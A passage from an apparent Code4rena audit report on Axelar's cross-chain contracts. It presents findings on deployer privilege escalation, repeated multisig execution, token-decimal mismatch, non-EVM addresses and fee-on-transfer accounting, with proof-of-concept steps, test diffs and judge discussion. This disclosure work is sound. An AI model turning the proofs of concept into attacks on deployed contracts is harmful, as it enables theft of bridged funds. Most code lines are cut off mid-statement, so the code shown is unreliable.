However, the `validateSender` function will treat any address that is the same as the current chain's `InterchainTokenService` as valid. A malicious contract deployed by the deployer wallet after the ownership transfer could be treated as valid and would have the ability to deploy token managers and standardized tokens, or perform arbitrary token transfers. This is a form of centralization risk but is also a serious privilege escalation, as it should be possible to strip the deployer of the ability to perform these actions. This gives them virtually unlimited power even after an ownership transfer.

Proof of Concept

- A deployer account is used to deploy all contracts on chain A.
- Ownership of the `RemoteAddressValidator` and all other contracts is transferred to governance multisigs. After this point, the deployer should have no ability to add trusted addresses.
- The deployer account is compromised (which is easier to do than compromising a governance multisig), or a team member with access to the deployer account becomes compromised or malicious.
- The deployer repeats the same steps used for the deployment, starting from the same wallet nonce on chain B, but replaces the `InterchainTokenService` contract with a contract that allows arbitrary messages, e.g. by adding this function to a regular `InterchainTokenService`:

```
function callContract(
    string calldata destinationChain,
    bytes memory payload,
    uint256 gasValue,
    address refundTo
) external onlyOwner {
    _callContract(destinationChain, payload, gasValue, r
```

```
}
```

- The deployer then uses this contract to send a payload with `SELECTOR_SEND_TOKEN` and using the deployer address as destination to the `InterchainTokenService` on chain A.
- When running `validateSender` on the `RemoteAddressValidator` on chain A, this check will pass and the address will be treated as valid:

```
        if (sourceAddressHash == interchainTokenServiceAddre
            return true;
        }
```

Therefore, the tokens will be transferred to the deployer address on chain A.

Recommended Mitigation Steps

The assumption that the `InterchainTokenService` address is valid in any chain is dangerous because of how the contract is created and the possibility that new EVM chains may exist in the future. A deployer EOA should not have this amount of permission for an indefinite time. I would recommend breaking that assumption and requiring that all addresses are added as trusted addresses explicitly.

A check can therefore be added to only treat the interchain token service's address as valid if the source chain is also the same chain where the `RemoteAddressValidator` is deployed. The following diff shows a way to do this:

```
diff --git a/contracts/its/remote-address-validator/RemoteAddres
index bb101e5..c2e5382 100644
--- a/contracts/its/remote-address-validator/RemoteAddressValida
+++ b/contracts/its/remote-address-validator/RemoteAddressValida
@@ -4,6 +4,7 @@ pragma solidity ^0.8.0;
 import { IRemoteAddressValidator } from '../interfaces/IRemoteA
 import { AddressToString } from '../../gmp-sdk/util/AddressStri
 import { Upgradable } from '../../gmp-sdk/upgradable/Upgradable
+import { StringToBytes32 } from '../../gmp-sdk/util/Bytes32Stri

 /**
  * @title RemoteAddressValidator
```

```diff
@@ -11,23 +12,25 @@ import { Upgradable } from '../../gmp-sdk/up
  */
 contract RemoteAddressValidator is IRemoteAddressValidator, Upg
     using AddressToString for address;
+    using StringToBytes32 for string;

     mapping(string => bytes32) public remoteAddressHashes;
     mapping(string => string) public remoteAddresses;
     address public immutable interchainTokenServiceAddress;
     bytes32 public immutable interchainTokenServiceAddressHash;
     mapping(string => bool) public supportedByGateway;
-
+    bytes32 public immutable currentChainName;
     bytes32 private constant CONTRACT_ID = keccak256('remote-ac

     /**
      * @dev Constructs the RemoteAddressValidator contract, bot
      * @param _interchainTokenServiceAddress Address of the int
      */
-    constructor(address _interchainTokenServiceAddress) {
+    constructor(address _interchainTokenServiceAddress, string
         if (_interchainTokenServiceAddress == address(0)) rever
         interchainTokenServiceAddress = _interchainTokenService
         interchainTokenServiceAddressHash = keccak256(bytes(_lc
+        currentChainName = _chainName.toBytes32();
     }

     /**
@@ -69,7 +72,7 @@ contract RemoteAddressValidator is IRemoteAddr
     function validateSender(string calldata sourceChain, string
         string memory sourceAddressLC = _lowerCase(sourceAddres
         bytes32 sourceAddressHash = keccak256(bytes(sourceAddre
-        if (sourceAddressHash == interchainTokenServiceAddressH
+        if (sourceAddressHash == interchainTokenServiceAddressH
             return true;
         }
         return sourceAddressHash == remoteAddressHashes[sourceC
```

Assessed type

Access Control

pcarranzav (warden) commented:

> @berndartmueller - I'd like to point out this one, which was marked as duplicate of [Issue 348] which is marked as invalid. The argumentation in my submission is different, as it is framed as a privilege escalation of the deployer wallet, which persists after ownership transfer and in the hypothetical of a new EVM chain being added to the Axelar network.

> This modifies the trust assumptions of the protocol, as users can reasonably expect to trust the multisig Owner, but not a deployer EOA, for an indefinite time. In the closed issue, @deanamiel commented "It would be impossible to deploy a different contract at this address because the address will depend on the deployer address and salt." However, there is a different level of "impossible" when comparing an EOA to a multisig and users now need to trust that nobody with access to that EOA is compromised or that it is disposed of properly.

> The probability of this being exploited is low (requires deployer EOA compromise and new chain added to the network), but the impact would be *huge*, which is why I honestly believe it warrants a Medium severity and is a valid finding to surface in the report so that users are aware.

berndartmueller (judge) commented:

> @pcarranzav - thanks for pointing this out! I've marked your submission as the primary report due to pointing out the deployer privilege escalation. But I also consider #348 a duplicate, as the recommended fix would also fix the underlying issue.

> Overall, I agree with the outlined privilege escalation. Even though the likelihood of this to happen is low, the impact would be critical. Thus, I consider medium severity to be appropriate.

deanamiel (Axelar) acknowledged and commented:

> We acknowledge the severity, and while we've considered using a deployer multisig contract which reduces this risk, our operations team is planning on whitelisting explicitly to minimize the impact of the deployer or a non-whitelisted chain being compromised. Note that `RemoteAddressValidator` is deployed on the destination chain, so the recommendation to compare the source chain to the chain in remote address validator won't work.

[M-07] Multisig can execute the same proposal repeatedly

Submitted by pcarranzav, also found by immeas

Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/aeabaa7086eb35e8614e58b42f0d50728e023881/contracts/cgp/auth/MultisigBase.sol#L44-L77
https://github.com/code-423n4/2023-07-axelar/blob/9f642fe854eb11ad9f18fe028e5a8353c258e926/contracts/cgp/governance/Multisig.sol#L30-L36

Impact

In MultisigBase and its use in Multisig, the `onlySigners` modifier will reset the vote count and execute the external call when the vote threshold is met. This means that if many signers send their transactions during the same block, the votes that are executed after the call execution will start a new tally, potentially re-executing the same external call if the votes are enough to meet the threshold again. This is probably low-likelihood for multisigs where the threshold is high relative to the number of signers, but could be quite likely if the threshold is relatively low.

In the general case, users of Multisig may not be aware of this behavior and have no good way of avoiding this other than off-chain coordination. An accidental double execution could easily lead to a loss of funds.

This doesn't affect `AxelarServiceGovernance` because of the additional requirement of an interchain message, but it might still leave behind unwanted votes; which reduces the overall security of the governance mechanism.

Proof of Concept

Arguably, this unit test is a PoC in itself.

But the following example might be a better illustration. The following test passes (when based on the explanation above, it shouldn't), and is a modification of the above test but using threshold 1:

```
    it('executes the same call twice, accidentally', async () =>
        const targetInterface = new Interface(['function callTar
        const calldata = targetInterface.encodeFunctionData('cal
        const nativeValue = 1000;

        // Set the threshold to 1
        await multisig.connect(signer1).rotateSigners(accounts,
        await multisig.connect(signer2).rotateSigners(accounts,

        // Say these two signers send their vote at the same tim
        await expect(multisig.connect(signer1).execute(targetCon
            targetContract,
            'TargetCalled',
        );
        await expect(multisig.connect(signer2).execute(targetCon
            targetContract,
            'TargetCalled',
        );
        // The call was executed twice!
    });
```

Recommended Mitigation Steps

Consider adding an incrementing nonce to each topic, so that repeating the call requires using a new nonce. If the intent is to allow arbitrary-order execution, then using a random or unique topic ID in addition to the topic hash could be used instead (like you did with the `commandId` in AxelarGateway).

Assessed type

Access Control

berndartmueller (judge) commented:

> Referencing the comment in Issue #333:

> it is assumed that the signers are trusted

> Isn't the purpose of a multisig *not* to trust individual signers or even N-1 signers, but only trust when N of them sign?

> I would argue that a multisig meets it's purpose if and only if the configured threshold is the absolute minimum number of signers that must be compromised to execute a proposal maliciously. The fact that overvotes can leave a spurious proposal with N-1 votes being sufficient for execution breaks one of the core assumptions when using a multisig.

> (I'd also note [#116]() and [#245]() could be considered duplicates. The impact descriptions are slightly different but the underlying issue is the same)
> After careful consideration, I'd like to change my stance on the validity and severity of the outlined issue of overcounting proposal votes. Let me elaborate on my reasoning:

> First of all, there's an underlying trust assumption on the used multisig. All signers, initially chosen by the deployer of the multisig contract (`MultisigBase` or the derived `Multisig` contract), are trusted. Rotating signers, i.e., adding/removing signers and changing the threshold (quorum), is also voted on by the existing signers. Thus, assuming the new set of signers (and threshold) is reasonable and trustworthy.

> However, a multisig is purposefully used to ensure proposals only get executed once the quorum of the signers is reached.

> Given the outlined issue in the submission, overvoting by signers can occur. For example, if the signing transactions get executed within the same block. Moreover, it can be assumed that the `Multisig.execute` function is intended to be executed multiple times with the same arguments (calldata). For instance, to repeatedly perform certain token transfers on a regular basis. Adding some kind of "nonce" or additional data to the arguments to achieve a new and unique proposal (specifically, a unique `topic`) to be voted on is not reasonable as the `Multisig.execute` function does not provide such parameters. Contrary to OpenZeppelin's `Governor` contract, which allows specifying a (unique) proposal description (see [Governor.sol#L268-L289]()). Additionally, in OZ's `Governor` contract, casting votes is only possible on pending proposals and reverts otherwise.

> I consider "overvoting" as a bug worth mitigating as it leaves proposals in an inconsistent state, leading to unpredictable outcomes.

> Given C4's judging criteria and severity categorization

> 2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted or leak value with a hypothetical attack path with stated assumptions, but external requirements.

> I'm considering this submission valid and the chosen Medium severity to be appropriate.

deanamiel (Axelar) disputed and commented via duplicate issue #333:

> Perhaps for a generic multi-sig in which signers are not trusted this would be true. However, for the multi-sig that we have designed for our governance purposes, signers will be part of Axelar governance and therefore, will be trusted. It is the signer's responsibility to ensure that a proposal exists before voting on it. We still wish to dispute validity.

berndartmueller (judge) commented via duplicate issue #333:

> @deanamiel - I understand your point. Nevertheless, overvoting is possible (even if not done with malicious intent), and it can be fixed to prevent any future, while unlikely, issue.

> I acknowledge that the sponsor disagrees with the validity. The validity and severity are certainly close to being invalid and QA, respectively. Still, I lean more towards being valid and Medium severity.

milapsheth (Axelar) commented:

> This was an intentional design decision. It's designed for internal use and will have low usage frequency with a coordinated participation such that this issue is Low impact, but we acknowledge the concern for general use.

[M-08] Insufficient support for tokens with different decimals on different chains lead to loss of funds on cross-chain bridging

Submitted by 0xTheC0der

According to the [docs](), the Axelar network supports cross-chain bridging of **external** `ERC20` tokens, as well as their own `StandardizedToken` (using lock/unlock, mint/burn or liquidity pools).

- However, there exists legitimate ERC20 tokens like USDT and USDC that have **6 decimals** on Ethereum (see USDT on Etherscan and USDC on Etherscan but **18 decimals** on Binance Smart Chain (see USDT on BSCScan and USDC on BSCScan), just to name an example. So there are tokens which have different decimals on different chains.
- Furthermore, the Axelar network allows to deploy and register `StandardizedToken` with the **same** `TokenId` but **different** decimals on different chains, see PoC.

Bug description

A cross-chain bridging can be performed using the TokenManager.sendToken(...) method, which correctly collects the source tokens from the sender and subsequently calls the InterchainTokenService.transmitSendToken(...) method that generates the payload for the remote `ContractCall` and also emits the `TokenSent` event.

However, this payload, as well as the subsequently emitted `ContractCall` and `TokenSent` events (see InterchainTokenService:L512-L514) contain the unscaled **source amount with respect to the source token's decimals.**

Next, this exact payload (actually it's `keccak256` hash) gets relayed on the remote chain as it is via AxelarGateway.approveContractCall(...) and the `ContractCall` is now approved to be executed with the **source amount irrespective of the remote token's decimals.**

Therefore, the bridged amounts are off by a factor of `10^abs(sourceDecimals - remoteDecimals)`.

Note that there are also other ways/entry points to reproduce this issue with the current codebase.

Consequences

This leads to a loss of funds for user/protocol/pool when source token decimals are lower/higher than remote token decimals, because the token amount is just passed through instead of being scaled accordingly.

Proof of Concept

The first part of the PoC demonstrates the following:

- The Axelar network allows to deploy and register `StandardizedToken` with the **same** `TokenId` but **different** decimals on different chains. In this example, 18 decimals on source chain and 16 decimals on remote chains.
- The `sendToken` method creates the aforementioned payload (to be relayed) and the respective `ContractCall` / `TokenSent` events with the unscaled **source amount.**

Just apply the *diff* below and run the test with `npm run test test/its/tokenServiceFullFlow.js`:

```
diff --git a/test/its/tokenServiceFullFlow.js b/test/its/tokenSe
index c1d72a2..3eb873b 100644
--- a/test/its/tokenServiceFullFlow.js
+++ b/test/its/tokenServiceFullFlow.js
@@ -31,6 +31,7 @@ describe('Interchain Token Service', () => {
     const name = 'tokenName';
     const symbol = 'tokenSymbol';
     const decimals = 18;
+    const otherDecimals = 16;

     before(async () => {
         const wallets = await ethers.getSigners();
@@ -151,13 +152,13 @@ describe('Interchain Token Service', () =>
         });
     });

-    describe('Full standardized token registration, remote depl
+    describe.only('Full standardized token registration, remote
         let token;
         let tokenId;
         const salt = getRandomBytes32();
         const otherChains = ['chain 1', 'chain 2'];
         const gasValues = [1234, 5678];
```

```
-        const tokenCap = BigInt(1e18);
+        const tokenCap = BigInt(10000e18);

         before(async () => {
             tokenId = await service.getCustomTokenId(wallet.adc
@@ -184,7 +185,7 @@ describe('Interchain Token Service', () => {
                     salt,
                     name,
                     symbol,
-                    decimals,
+                    otherDecimals, // use other decimals on rem
                     '0x',
                     wallet.address,
                     otherChains[i],
@@ -197,19 +198,19 @@ describe('Interchain Token Service', () =>
             const params = defaultAbiCoder.encode(['bytes', 'ac
             const payload = defaultAbiCoder.encode(
                 ['uint256', 'bytes32', 'string', 'string', 'uir
-                [SELECTOR_DEPLOY_AND_REGISTER_STANDARDIZED_TOKE
+                [SELECTOR_DEPLOY_AND_REGISTER_STANDARDIZED_TOKE
             );
             await expect(service.multicall(data, { value }))
                 .to.emit(service, 'TokenManagerDeployed')
                 .withArgs(tokenId, LOCK_UNLOCK, params)
                 .and.to.emit(service, 'RemoteStandardizedTokenA
-                .withArgs(tokenId, name, symbol, decimals, '0x'
+                .withArgs(tokenId, name, symbol, otherDecimals,
                 .and.to.emit(gasService, 'NativeGasPaidForContr
                 .withArgs(service.address, otherChains[0], serv
                 .and.to.emit(gateway, 'ContractCall')
                 .withArgs(service.address, otherChains[0], serv
                 .and.to.emit(service, 'RemoteStandardizedTokenA
-                .withArgs(tokenId, name, symbol, decimals, '0x'
+                .withArgs(tokenId, name, symbol, otherDecimals,
                 .and.to.emit(gasService, 'NativeGasPaidForContr
                 .withArgs(service.address, otherChains[1], serv
                 .and.to.emit(gateway, 'ContractCall')
@@ -217,30 +218,32 @@ describe('Interchain Token Service', () =>
         });

         it('Should send some token to another chain', async ()
-            const amount = 1234;
+            const amountSrc = BigInt(1234e18); // same amount c
+            const amountDst = BigInt(1234e16); // just scaled a
             const destAddress = '0x1234';
             const destChain = otherChains[0];
```

```
            const gasValue = 6789;

            const payload = defaultAbiCoder.encode(
                ['uint256', 'bytes32', 'bytes', 'uint256'],
-               [SELECTOR_SEND_TOKEN, tokenId, destAddress, amo
+               [SELECTOR_SEND_TOKEN, tokenId, destAddress, amo
            );
            const payloadHash = keccak256(payload);

-           await expect(token.approve(tokenManager.address, am
+           await expect(token.approve(tokenManager.address, am
                .to.emit(token, 'Approval')
-               .withArgs(wallet.address, tokenManager.address,
-
-           await expect(tokenManager.sendToken(destChain, dest
+               .withArgs(wallet.address, tokenManager.address,
+
+           // call succeeds but doesn't take into account remo
+           await expect(tokenManager.sendToken(destChain, dest
                .and.to.emit(token, 'Transfer')
-               .withArgs(wallet.address, tokenManager.address,
+               .withArgs(wallet.address, tokenManager.address,
                .and.to.emit(gateway, 'ContractCall')
-               .withArgs(service.address, destChain, service.a
+               .withArgs(service.address, destChain, service.a
                .and.to.emit(gasService, 'NativeGasPaidForContr
-               .withArgs(service.address, destChain, service.a
+               .withArgs(service.address, destChain, service.a
                .to.emit(service, 'TokenSent')
-               .withArgs(tokenId, destChain, destAddress, amou
+               .withArgs(tokenId, destChain, destAddress, amou
        });

        // For this test the token must be a standardized toker
```

The second part of the PoC demonstrates that the aforementioned payload is relayed/approved as it is to the remote chain and the source token amount is received on the remote chain irrespective of the remote token's decimals.

Just apply the *diff* below and run the test with `npm run test test/its/tokenService.js`:

```
diff --git a/test/its/tokenService.js b/test/its/tokenService.js
```

```diff
index f9843c1..161ac8a 100644
--- a/test/its/tokenService.js
+++ b/test/its/tokenService.js
@@ -797,10 +797,10 @@ describe('Interchain Token Service', () =>
             }
         });

-    describe('Receive Remote Tokens', () => {
+    describe.only('Receive Remote Tokens', () => {
         const sourceChain = 'source chain';
         let sourceAddress;
-        const amount = 1234;
+        const amount = 1234; // this unscaled source amount get
         let destAddress;
         before(async () => {
             sourceAddress = service.address.toLowerCase();
@@ -813,7 +813,7 @@ describe('Interchain Token Service', () => {

             const payload = defaultAbiCoder.encode(
                 ['uint256', 'bytes32', 'bytes', 'uint256'],
-                [SELECTOR_SEND_TOKEN, tokenId, destAddress, amo
+                [SELECTOR_SEND_TOKEN, tokenId, destAddress, amo
             );
             const commandId = await approveContractCall(gatewa

@@ -825,11 +825,11 @@ describe('Interchain Token Service', () =>
         });

         it('Should be able to receive mint/burn token', async
-            const [token, , tokenId] = await deployFunctions.mi
+            const [token, , tokenId] = await deployFunctions.mi

             const payload = defaultAbiCoder.encode(
                 ['uint256', 'bytes32', 'bytes', 'uint256'],
-                [SELECTOR_SEND_TOKEN, tokenId, destAddress, amo
+                [SELECTOR_SEND_TOKEN, tokenId, destAddress, amo
             );
             const commandId = await approveContractCall(gatewa

@@ -841,11 +841,11 @@ describe('Interchain Token Service', () =>
         });

         it('Should be able to receive liquidity pool token', as
-            const [token, , tokenId] = await deployFunctions.li
+            const [token, , tokenId] = await deployFunctions.li
             (await await token.transfer(liquidityPool.address,
```

```diff
                const payload = defaultAbiCoder.encode(
                    ['uint256', 'bytes32', 'bytes', 'uint256'],
-                   [SELECTOR_SEND_TOKEN, tokenId, destAddress, amc
+                   [SELECTOR_SEND_TOKEN, tokenId, destAddress, amc
                );
                const commandId = await approveContractCall(gateway
```

Tools Used

VS Code, Hardhat

Recommended Mitigation Steps

This issue cannot be solved easily since the remote chain doesn't know about the token decimals on the source chain and vice versa. I suggest the following options:

1. Explicitly exclude tokens with different decimals on different chains and emphasize this in the documentation. However, this would be a loss of opportunity and against the mantra "Axelar is a decentralized interoperability network connecting all blockchains, assets and apps through a universal set of protocols and APIs."
2. Normalize all bridged token amounts to e.g. 18 decimals (beware of loss of precision) before creating the aforementioned payload and the respective `ContractCall` / `TokenSent` events at all instances. De-normalize token amounts on the remote chain accordingly.

Assessed type

Decimal

deanamiel (Axelar) disagreed with severity and commented:

> Corrected Severity: QA

> We might account for this if a better approach is found than rounding off decimals. For pre-existing tokens with different decimals, a wrapper can be made by the deployer that does the decimal handling, which is the current intended use for such tokens.

berndartmueller (judge) decreased severity to QA and commented:

> This is a very well-written submission!

> However, I agree with the sponsor that wrapper tokens are supposed to be used in case of different decimals across chains. For instance, see the wrapper ERC-20 token for USDC on BNB chain, `Axelar Wrapped USDC (axlUSDC)`, https://bscscan.com/address/0x4268B8F0B87b6Eae5d897996E6b845ddbD99Adf3#readContract.

> Thus, I'm downgrading to QA (Low).

[0xTheC0der (warden) commented]():

> @berndartmueller - Please be aware that the sponsor's comment and severity suggestion is **only** about the first part of the issue (pre-existing tokens) and therefore not conclusive for the whole report.

1. *Pre-existing tokens:*
   Even if the mentioned wrapper tokens were in scope of this audit (please correct me if I am mistaken and they are), they are not sufficiently mitigating the issue, since the codebase does not explicitly enforce their usage, nor does it require the *source* and *destination* decimals to be equal (should revert with error).
   Furthermore, the [docs]() explicitly mention the use of external ERC20 tokens but do not mention the wrappers; therefore, the issue is unmitigated as of now.
   As a result, pre-existing tokens, as well as potentially wrong wrappers with *different decimals on different chains*, can be used and subsequently lead to a loss of funds for the user or token pool.
2. `StandardizedToken` (not mentioned by the sponsor):
   The Axelar network allows to deploy and register `StandardizedToken` with the **same** `TokenId` but *different decimals on different chains*, see first part of PoC about (remote) deployment and [InterchainTokenService.getCustomTokenId(...)]().
   This should not be possible in the first place as long as the transfer amount does not get scaled according to decimals automatically, i.e. it's a bug which is even more severe than the above issue also leading to loss of funds.
   Both, the [InterchainTokenService.deployAndRegisterStandardizedToken(...)]() method as well as the
   [InterchainTokenService.deployAndRegisterRemoteStandardizedToken(...)]()
   method are lacking underlying checks to ensure that there is no other token

with the **same** `TokenId` but **different** decimals already registered on another chain.

> I am looking forward to more fact-based opinions about this and fair judgment considering the proven impacts, see also second part of PoC that demonstrates a loss of funds (wrong transfer of funds by factor 100).

berndartmueller (judge) commented:

> @0xTheC0der - According to the Interchain token service docs, there are two types of bridges:

1. Canonical bridges
2. Custom bridges

> *Canonical bridges* are used to enable bridging pre-existing ERC-20 tokens across chains. Such bridges are deployed via `InterchainTokenService.registerCanonicalToken` on the source chain and `InterchainTokenService.deployRemoteCanonicalToken` for the remote (destination) chains. Here, the trust assumption is that anyone can create canonical bridges - the resulting `StandardizedToken` on the remote chains will have matching decimals with the pre-existing ERC-20 token (see InterchainTokenService.sol#L334. Thus, there is no such issue with non-matching decimals for canonical bridges.

> In regards to *custom bridges*, the trust assumption is different (docs):

> Users using Custom Bridges **need to trust the deployers** as they could easily confiscate the funds of users if they wanted to, same as any ERC20 distributor could confiscate the funds of users.

> In the submission's PoC, the described issue is demonstrated by deploying a `StandardizedToken` with 18 decimals on the source chain and deploying corresponding `StandardizedToken` tokens with 16 decimals on remote chains (via `deployAndRegisterRemoteStandardizedToken` . In this case, it truly shows a mismatch of token decimals between the source and remote chain, leading to a loss of bridged funds.

> Even though the docs mention that the deployer of such a custom bridge has to be trusted, implementing the warden's second mitigation recommendation (normalizing token transfer amounts to, e.g., 18 decimals) certainly helps mitigate this issue and reduces the surface for potential errors (malicious or non-malicious) when deploying custom bridges. For example, the Wormhole bridge does this as well by [normalizing the token transfer amounts to 8 decimals]().

> Ultimately, this leads me to acknowledge the outlined issue and medium severity chosen by the warden.

> I kindly invite the sponsor's feedback before changing the severity back to medium - @deanamiel.

[berndartmueller (judge) increased severity to Medium]()

[deanamiel (Axelar) commented]():

> The standardized token scenario would still not lead to a loss of funds. One could still bridge tokens back and get the same amount, the amounts seen would be mismatched (when divided by 10^ decimals) but this is only a cosmetic issue. We still believe this is a QA level issue.

[berndartmueller (judge) commented]():

> Loss of funds may not be permanent, indeed. Still, it presents an issue for users bridging `StandardizedToken` tokens and the token pools themselves. Such tokens with mismatching decimals on the source- and destination chains can also be purposefully bridged to steal funds.

[milapsheth (Axelar) commented]():

> We consider this QA or Low severity. As mentioned before, there is no actual loss of funds since you can always bridge the same amount back. Furthermore, Standardized tokens still require trusting the deployer, unlike Canonical tokens. Tokens deployed and whitelisted via the UI will make sure the same decimals are used for deployments. Users are not recommended to interact with arbitrary Standardized tokens given that the deployer can still be malicious in various ways.

> The ERC20 spec does not require the presence of `name`, `symbol`, `decimals`. While commonly supported, these are still optional fields, so we left it flexible in the main protocol.

> You can also build deployer contracts on top of this that do enforce various checks such as using the on-chain name, symbol, decimals before deploying.

[M-09] `InterchainProposalExecutor.sol` doesn't support non-evm address as caller or sender

Submitted by T1MOH*, also found by* Chom *and* UniversalCrypto

Axelar is supposed to support different chains, not only EVM. And these chains can have a different address standard like Polkadot or Tron. These addresses can't be whitelisted in `InterchainProposalExecutor.sol` to execute proposal. Thus, `InterchainProposalSender` implementation from non-EMV chain can't interact with `InterchainProposalExecutor.sol` on the EVM chain.

Proof of Concept

Here, you can see that `sourceAddress` is represented as `address`, not `string`:

```
    // Whitelisted proposal callers. The proposal caller is the
    mapping(string => mapping(address => bool)) public whitelist

    // Whitelisted proposal senders. The proposal sender is the
    mapping(string => mapping(address => bool)) public whitelist

    ...

    /**
     * @dev Set the proposal caller whitelist status
     * @param sourceChain The source chain
     * @param sourceCaller The source caller
     * @param whitelisted The whitelist status
     */
    function setWhitelistedProposalCaller(
        string calldata sourceChain,
        address sourceCaller,
        bool whitelisted
    ) external override onlyOwner {
```

```
        whitelistedCallers[sourceChain][sourceCaller] = whitelis
        emit WhitelistedProposalCallerSet(sourceChain, sourceCal
    }

    /**
     * @dev Set the proposal sender whitelist status
     * @param sourceChain The source chain
     * @param sourceSender The source sender
     * @param whitelisted The whitelist status
     */
    function setWhitelistedProposalSender(
        string calldata sourceChain,
        address sourceSender,
        bool whitelisted
    ) external override onlyOwner {
        whitelistedSenders[sourceChain][sourceSender] = whitelis
        emit WhitelistedProposalSenderSet(sourceChain, sourceSer
    }
```

Recommended Mitigation Steps

Don't convert `sourceAddress` to `address`, use `string` instead.

```
    // Whitelisted proposal callers. The proposal caller is the
-   mapping(string => mapping(address => bool)) public whitelist
+   mapping(string => mapping(string => bool)) public whiteliste

    // Whitelisted proposal senders. The proposal sender is the
-    mapping(string => mapping(address => bool)) public whitelis
+    mapping(string => mapping(string => bool)) public whitelist
```

Assessed type

Invalid Validation

[deanamiel (Axelar) confirmed and commented]:

> Support has been added for non-EVM addresses.

> Public PR links:
> https://github.com/axelarnetwork/interchain-governance-executor/pull/21

> https://github.com/axelarnetwork/interchain-governance-executor/pull/33

[M-10] Contracts are vulnerable to fee-on-transfer accounting-related issues

Submitted by [ChaseTheLight](#)

Note: this finding was reported via the winning [Automated Findings report](#). It was declared out of scope for the audit, but is being included here for completeness.

There are 4 instances of this issue.

Resolution

The below-listed functions use `transferFrom()` to move funds from the sender to the recipient but fail to verify if the received token amount matches the transferred amount. This could pose an issue with fee-on-transfer tokens, where the post-transfer balance might be less than anticipated, leading to balance inconsistencies. There might be subsequent checks for a second transfer, but an attacker might exploit leftover funds (such as those accidentally sent by another user) to gain unjustified credit. A practical solution is to gauge the balance prior and post-transfer, and consider the differential as the transferred amount, instead of the predefined amount.

Findings are labeled with `<= FOUND`.

https://github.com/code-423n4/2023-07-axelar/tree/main/contracts/cgp/AxelarGateway.sol#L542-L546

```
529:     function _burnTokenFrom(
530:         address sender,
531:         string memory symbol,
532:         uint256 amount
533:     ) internal {
534:         address tokenAddress = tokenAddresses(symbol);
535:
536:         if (tokenAddress == address(0)) revert TokenDoesNot
537:         if (amount == 0) revert InvalidAmount();
538:
539:         TokenType tokenType = _getTokenType(symbol);
```

```
        if (tokenType == TokenType.External) {
            IERC20(tokenAddress).safeTransferFrom(sender, a
        } else if (tokenType == TokenType.InternalBurnableF
            IERC20(tokenAddress).safeCall(abi.encodeWithSel
        } else {
            IERC20(tokenAddress).safeTransferFrom(sender, I
            IBurnableMintableCappedERC20(tokenAddress).burr
        }
    }
```

https://github.com/code-423n4/2023-07-axelar/tree/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L451-L451

```
    function expressReceiveToken(
        bytes32 tokenId,
        address destinationAddress,
        uint256 amount,
        bytes32 commandId
    ) external {
        if (gateway.isCommandExecuted(commandId)) revert Al

        address caller = msg.sender;
        ITokenManager tokenManager = ITokenManager(getValic
        IERC20 token = IERC20(tokenManager.tokenAddress());

        SafeTokenTransferFrom.safeTransferFrom(token, calle

        _setExpressReceiveToken(tokenId, destinationAddress
    }
```

https://github.com/code-423n4/2023-07-axelar/tree/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L482-L482

```
    function expressReceiveTokenWithData(
        bytes32 tokenId,
        string memory sourceChain,
        bytes memory sourceAddress,
        address destinationAddress,
```

```
        uint256 amount,
        bytes calldata data,
        bytes32 commandId
    ) external {
        if (gateway.isCommandExecuted(commandId)) revert Al

        address caller = msg.sender;
        ITokenManager tokenManager = ITokenManager(getValic
        IERC20 token = IERC20(tokenManager.tokenAddress());

        SafeTokenTransferFrom.safeTransferFrom(token, calle

        _expressExecuteWithInterchainTokenToken(tokenId, de

        _setExpressReceiveTokenWithData(tokenId, sourceChai
    }
```

deanamiel (Axelar) commented:

> Invalid, we have a dedicated token manager for fee-on-transfer tokens that takes this into account. Here is TokenManagerLockUnlockFee for reference.

berndartmueller (judge) commented:

> Agree with the sponsor that there is a special token manager for such fee-on-transfer tokens. However, the identified instances in the report are still affected by the issue. Consequently, I consider Medium severity to be appropriate.

Low Risk and Non-Critical Issues

For this audit, 15 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **immeas** received the top score from the judge.

The following wardens also submitted reports: Rolezn, naman1778, Udsen, Bauchibred, matrix_0wl, Jeiwan, banpaleo5, MohammedRizwan, Emmanuel, hals, MrPotatoMagic, T1MOH, DavidGiladi, and Sathish9098.

Low Issue Summary

ID	Title
[L-01]	`FinalProxy` can be hijacked by vulnerable implementation contract
[L-02]	A users tokens can be stolen if they don't control `msg.sender` address on all chains
[L-03]	No event emitted when a vote is cast in `MultisigBase`
[L-04]	`InterchainTokenService` non-remote deploy calls accept `eth` but are not using it
[L-05]	Default values for `deployAndRegisterStandardizedToken` can make it complicated for third party implementers
[L-06]	`InterchainTokenServiceProxy` is `FinalProxy`
[L-07]	Low level `call` will always succeed for non existent addresses
[L-08]	`InterchainTokenService::getImplementation` returns `address(0)` for invalid types
[L-09]	Consider a two way transfer of governance
[L-10]	Consider a two way transfer of `operator` and `distributor`

Suggested Issue Summary

ID	Title
[S-01]	Consider adding a version to upgradable contracts

Refactor Issue Summary

ID	Title
[R-01]	`sourceAddress` means two different things in `InterchainTokenService`
[R-02]	`InterchainTokenService::_validateToken` could have a more descriptive name
[R-03]	`AxelarGateway::onlyMintLimiter` could have a more descriptive name

Non-Critical/Informational Issue Summary

ID	Title
[N-01]	`RemoteAddressValidator::_lowerCase` will not work for Solana addresses
[N-02]	`InterchainGovernance` can be `abstract`
[N-03]	`eta` in `ProposalCancelled` event can be misleading
[N-04]	Incomplete NatSpec
[N-05]	Erroneous comments
[N-06]	Typos and misspellings

[L-01] `FinalProxy` can be hijacked by vulnerable implementation contract

`FinalProxy` is a proxy that can be upgraded, but if `owner` calls `finalUpgrade` it will [deploy the final upgrade using `Create3`](#) and it can no longer be upgraded. To determine if it has gotten the final upgrade or not, the function `_finalImplementation` is called:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/gmp-sdk/upgradable/FinalProxy.sol#L18

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/gmp-sdk/upgradable/FinalProxy.sol#L57-L64

```
File: gmp-sdk/upgradable/FinalProxy.sol

18:     bytes32 internal constant FINAL_IMPLEMENTATION_SALT = kec

...

57:     function _finalImplementation() internal view virtual ret
58:         /**
59:          * @dev Computing the address is cheaper than using s
60:          */
61:         implementation_ = Create3.deployedAddress(address(thi
62:
63:         if (implementation_.code.length == 0) implementation_
64:     }
```

